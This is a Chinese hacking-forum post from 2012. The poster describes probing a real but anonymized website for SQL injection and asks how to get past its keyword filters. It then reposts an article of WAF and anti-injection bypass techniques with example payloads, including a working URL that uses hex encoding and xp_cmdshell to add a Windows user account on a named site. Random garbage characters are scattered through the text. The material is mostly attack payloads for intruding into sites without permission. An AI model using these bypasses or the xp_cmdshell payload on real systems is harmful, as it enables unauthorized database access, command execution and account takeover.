找回密码
 立即注册
查看: 2762|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.
: S, B9 Q4 W8 Thttp://www.xxx.cn/Article.asp?ID=117 and 1=1
0 A6 W% {: W0 p8 _2 V& U直接返回主页
- P3 @% Y$ b6 M, E7 q8 v5 ^/ vhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
4 V' S# U4 E+ v直接返回主页
& [& a8 N8 g7 y; |  Vhttp://www.xxx.cn/Article.asp?ID=117 or' y& T3 c1 K" ^8 r( a
没有返回主页 没有过滤or% T1 C' X+ N+ |* L& U, |1 r
http://www.xxx.cn/Article.asp?ID=117 and/ \3 h! c3 M; P& E6 D3 @
直接返回主页 看来过滤了and
0 `6 w& K9 T$ k, V$ \9 k4 {4 L5 `+ x8 Ohttp://www.xxx.cn/Article.asp?ID=117 or 1( s+ o' H5 y. \4 A9 N
没有返回主页 即没有过滤or 也没有过滤1
0 Z) `0 C% k, c- P6 C" @& T$ fhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
6 J$ i4 w0 k. h4 d' n) \直接返回主页 很明显过滤了等号 # {& X& G) e2 s: J( ]$ A
or的特性是与and相反的.; |# \# ~+ \% \, k8 I- F
or 1=1 爆错 或与原页面不同& ?: N& p2 l" ^( S
or 1=2 原页面相同
5 I: Y6 H: s% ~  f这样就是一个注入点* X1 [( X3 k1 ]( _9 E
但他过滤了=号 我就用><号代替=号吧!% |0 b* Y# D3 t( I# c
or 1<2 很明显是正确的,所以应该与原页面不同& ]* P' s2 ^6 q" m1 C, I5 |
or 1>2 很明显是错误的,所以应该与原页面相同; S8 O. E2 Y) a
然后看看有没有过滤其他的查询语句,比如select.
3 Z+ F: W" b  Thttp://www.xxx.cn/Article.asp?ID=117 select
/ ]# {% p( g) }' k" |9 J- e直接返回主页
; R" H3 X3 a' `又迷茫了..
  i. T4 ^! l5 |/ z, P4 _: b( E+ z& g' |4 |
5 E2 V6 _7 `& S
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
6 o3 J$ c3 A4 ?6 y; l+ f  [这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧): E5 j% U; h; w4 S6 W
================================================
/ O6 Y# }! F, F: t1 ]; W以下是转贴:
% K" `: k4 N4 j5 V0 S+ @$ W4 |
6 h- A" f/ w8 o" E0 N, P) @突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 9 s% u5 T, j  T( S
经过我的收集,大部分的防注入程序都过滤了以下关键字: ( _: ]/ R' {' i' y) B
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = ! A7 P: N$ t# ]% |
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
& j* \, @4 I6 s, I- T2 {0 |# Q对于关键字的过滤,以下是我收集的以及我个人的一些想法。
$ ]$ R+ X5 ]- g+ j  Q  e, `3 g1、运用编码技术绕过
" N9 U! `2 o8 l/ X7 {0 D( ^如URLEncode编码,ASCII编码绕过。例如or 1=1即   J0 @) z% Y" M* b* }
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 9 X, H- X/ N8 b) f/ _, v; N

4 m2 q, \0 K, h: F" i2、通过空格绕过
, i! b" ~  [' ~- ^) R如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如   L- j; ^4 t! T. C# f
or’ swords’ =‘swords’
, j4 A0 L( j0 u6 N; V! I& y7 |,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 5 r0 S  j* l  G  W6 _! {
3、运用字符串判断代替 # q8 m3 g% {& _* g6 p
用经典的or 1=1判断绕过,如 , o7 V9 ?) w* q1 b$ }
or ’swords’ =’swords’ 8 U- t: j! X. ^4 t; f3 ^
,这个方法就是网上在讨论的。
) u' X+ R' u8 ^$ s9 ], B& W9 B4、通过类型转换修饰符N绕过
/ x1 Y% W1 l: x. w' h3 v. q可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
: Z: f& W; n) |- e" M5、通过+号拆解字符串绕过
) V/ d* Z! I" J& e5 f$ A效果值得考证,但毕竟是一种方法。如 / w$ w' t5 ^8 O8 T
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 8 o$ Z5 ~% W3 \$ O$ Y
, K# `% X& c. [: v4 j
6、通过LIKE绕过 / [- k! X) Z; K$ ~% m
以前怎么就没想到呢?如or
! Z' c- s/ Q/ ?& r; N* \  C’swords’ LIKE ’sw’   V/ [' N# i+ d, l1 b% P& E# P. |: z' z) U
!!!显然可以很轻松的绕过 * k* I4 x. S& X( B9 I' _5 b
“=”“>” 0 m# @! `1 X/ q/ t) n6 R7 E8 R
的限制…… ! @. P. D  \9 g" i2 S, f
7、通过IN绕过
( W, R5 |7 W2 X与上面的LIKE的思路差不多,如 : U1 T( s; W7 ]% d
or ’swords’ IN (’swords’)
: e2 ^0 s! o5 q8 |; e& n' L2 h+ B! ?" ~/ S0 N3 z+ Z
8、通过BETWEEN绕过 1 I$ |4 C% u  S4 K3 ^
1 X2 b5 c+ W# N5 n+ I
or ’swords’ BETWEEN ’rw’ AND ’tw’
! l/ ]" _( N0 d1 X0 ^) X
8 C+ |, |1 E5 ?# c0 G; o2 g9、通过>或者<绕过 5 c1 \+ X  Q& @( `2 \
or ’swords’ > ’sw’ ! E0 O- g/ ?5 }. I6 _; j$ A
or ’swords’ < ’tw’
' H& n7 S( m8 }) wor 1<3 ; q: \5 q5 w% D& N
……
2 V6 G4 C# o7 S: [0 I10、运用注释语句绕过
6 Q; P7 J5 F2 _& X# E% w用/**/代替空格,如: # a; u9 J8 y8 D! E# R" l- j# ]
UNION /**/ Select /**/user,pwd,from tbluser
: L& U* T% M( g( [6 {% ^' a9 x- K# r2 m
用/**/分割敏感词,如:
% N; u5 K) @/ ]  KU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser & P* b, b5 x( T; l/ v
/ \7 P8 P1 O0 T5 C2 d
11、用HEX绕过,一般的IDS都无法检测出来
! t5 j1 T  z/ \  ~1 }+ J0x730079007300610064006D0069006E00 =hex(sysadmin) ! E4 q, U" M! \6 v1 `0 F
0x640062005F006F0077006E0065007200 =hex(db_owner) 7 N, F% |6 h7 R( W' [. _( `
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
. l  a6 p0 Y. r  declare @a sysname
6 q% \" V0 i2 J7 ?  select @a=
4 ~* _, e; p/ b7 a6 s  exec master.dbo.xp_cmdshell @a   c# {2 N) B# t
效果
" o' O# x! l3 D5 S# b% t% M. u& Xhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
0 D+ n) y/ @$ a2 {5 V8 a2 U6 \% I  d, x, H( P8 ]3 P0 f5 _+ ~
其中的
- Y/ Q( i$ y5 K# r0 d' ^  |8 J$ G6 A0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
4 G0 I: D; A' |就是 ; Q) I9 E4 V9 c0 s$ c3 ~/ |/ _
“net user angel pass /add”; p2 q* m1 v7 a" e: Q

. M- {) \, [3 B+ b1 K一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
% {  p' O0 @7 ?6 ~) o- S7 f引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。( i; A  g! m6 l% `
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似2 c  D9 r7 W6 t
Copy code" N/ ?: I5 `/ _$ v
select * from table exec xp_cmdshell'xxxxxxxxxx', n4 Z/ X5 e6 D) s( G  Q

% S5 \' {  |- O7 Z( c  S9 G* N, @3 k, O- f, x
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
! M% d, U+ b3 _
$ L* J* ]& n2 x3 f# |1 K6 B$ U! g7 g) f& w0 l9 z6 I4 c0 T: ]: L
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
0 P1 |# ?2 Y1 `. t
6 ^( L4 w9 ~& E# k# [+ t
& r( Z; \% o# H: Nselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'( D  v6 B6 v+ W+ ^+ Z; l

" _: p& B2 p0 w0 K/ y" S2 c的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
: x. Q* c( [( L1 V( Z, x' ?, K
2 ^/ u/ m0 A3 I! F- r: Q- m0 u# j这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了* s" C6 S+ q+ e+ _8 W9 O1 E
可能大家早就知道了,不管怎么说,发在这里吧!( O$ O' P6 P& ]9 A) C. H
9 r( G/ F+ A0 b: p+ S
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
( G: ~) t/ `1 ?  f! H) h' |' K/ j2 W' x, t

( n: X9 l. V8 n( ]
! t- I: B; I' v6 x, F; X0 ^7 x对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试," O3 @9 p4 t7 L
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
+ G: l' \' X# Y! X' D& n1 f( l9 H: k9 [; ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表